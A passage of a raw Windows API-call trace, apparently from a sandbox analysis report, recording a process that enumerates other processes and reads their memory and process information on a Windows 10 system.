_Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.318] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x264) returned 0x0 [0346.318] CloseHandle (hObject=0x0) returned 0 [0346.319] _ui64tow_s (in: _Value=0x26c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="620") returned 0x0 [0346.319] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="620") returned 3 [0346.319] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.319] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.320] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x26c) returned 0xa9c [0346.320] GetLastError () returned 0x0 [0346.320] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.320] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x245018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.320] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.320] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403b00, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.320] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403758, lpBuffer=0x5ec5a0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.320] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.321] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.321] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x245020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.321] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403110, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.321] malloc (_Size=0x3e) returned 0xea8010 [0346.321] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403794, lpBuffer=0xea8010, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8010*, lpNumberOfBytesRead=0x0) returned 1 [0346.322] free (_Block=0xea8010) [0346.322] CloseHandle (hObject=0xa9c) returned 1 [0346.322] _ui64tow_s (in: _Value=0x2cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="716") returned 0x0 [0346.322] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="716") returned 3 [0346.322] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.322] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.323] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0xa9c [0346.323] GetLastError () returned 0x0 [0346.323] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.323] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xd14018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.323] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.324] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf923a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.324] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf92058, lpBuffer=0x5ec5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.324] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.324] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.324] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xd14020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.324] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf91a10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.324] malloc (_Size=0x26) returned 0xecd510 [0346.324] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf920a0, lpBuffer=0xecd510, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd510*, lpNumberOfBytesRead=0x0) returned 1 [0346.325] free (_Block=0xecd510) [0346.325] CloseHandle (hObject=0xa9c) returned 1 [0346.325] _ui64tow_s (in: _Value=0x2d4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="724") returned 0x0 [0346.326] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="724") returned 3 [0346.326] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.326] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.327] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d4) returned 0xa9c [0346.327] GetLastError () returned 0x0 [0346.327] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.327] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x83d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.327] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.327] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae23a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.327] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae2058, lpBuffer=0x5ec5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.327] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.328] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.328] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x83d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.328] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae1a10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.328] malloc (_Size=0x26) returned 0xecd390 [0346.328] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae20a0, lpBuffer=0xecd390, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd390*, lpNumberOfBytesRead=0x0) returned 1 [0346.328] free (_Block=0xecd390) [0346.329] CloseHandle (hObject=0xa9c) returned 1 [0346.329] _ui64tow_s (in: _Value=0x310, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="784") returned 0x0 [0346.329] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="784") returned 3 [0346.331] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.331] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.332] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x310) returned 0xa9c [0346.332] GetLastError () returned 0x0 [0346.332] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.332] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.332] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.332] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.332] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.333] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.333] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.333] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.333] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.333] malloc (_Size=0x64) returned 0xeb6460 [0346.333] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb6460, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6460*, lpNumberOfBytesRead=0x0) returned 1 [0346.334] free (_Block=0xeb6460) [0346.334] CloseHandle (hObject=0xa9c) returned 1 [0346.334] _ui64tow_s (in: _Value=0x340, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="832") returned 0x0 [0346.334] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="832") returned 3 [0346.334] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.334] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.335] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x340) returned 0xa9c [0346.335] GetLastError () returned 0x0 [0346.335] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.335] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c5018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.335] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.336] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d50, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.336] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039b8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.336] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.336] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.336] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c5020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.336] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403370, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.337] malloc (_Size=0x5a) returned 0xeb6540 [0346.337] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039f8, lpBuffer=0xeb6540, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6540*, lpNumberOfBytesRead=0x0) returned 1 [0346.337] free (_Block=0xeb6540) [0346.337] CloseHandle (hObject=0xa9c) returned 1 [0346.337] _ui64tow_s (in: _Value=0x398, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="920") returned 0x0 [0346.338] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="920") returned 3 [0346.338] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.338] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.338] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x398) returned 0xa9c [0346.339] GetLastError () returned 0x0 [0346.339] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.339] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.339] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.339] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2260, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.339] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1f38, lpBuffer=0x5ec5a0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.339] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.339] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.340] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.340] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e18f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.340] malloc (_Size=0x16) returned 0xec95e0 [0346.340] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1f70, lpBuffer=0xec95e0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec95e0*, lpNumberOfBytesRead=0x0) returned 1 [0346.340] free (_Block=0xec95e0) [0346.340] CloseHandle (hObject=0xa9c) returned 1 [0346.340] _ui64tow_s (in: _Value=0x10c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="268") returned 0x0 [0346.341] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="268") returned 3 [0346.341] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.341] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.341] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c) returned 0xa9c [0346.342] GetLastError () returned 0x0 [0346.342] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.342] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.342] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.342] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.342] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.342] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.342] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.343] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.343] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.343] malloc (_Size=0x7a) returned 0xe87c10 [0346.343] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xe87c10, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87c10*, lpNumberOfBytesRead=0x0) returned 1 [0346.343] free (_Block=0xe87c10) [0346.343] CloseHandle (hObject=0xa9c) returned 1 [0346.344] _ui64tow_s (in: _Value=0x8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="8") returned 0x0 [0346.344] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="8") returned 1 [0346.344] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.344] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.345] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8) returned 0xa9c [0346.345] GetLastError () returned 0x0 [0346.345] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.345] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30b018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.346] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.346] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.346] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.346] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.346] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.346] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30b020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.346] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.347] malloc (_Size=0x5e) returned 0xeb6690 [0346.347] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb6690, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6690*, lpNumberOfBytesRead=0x0) returned 1 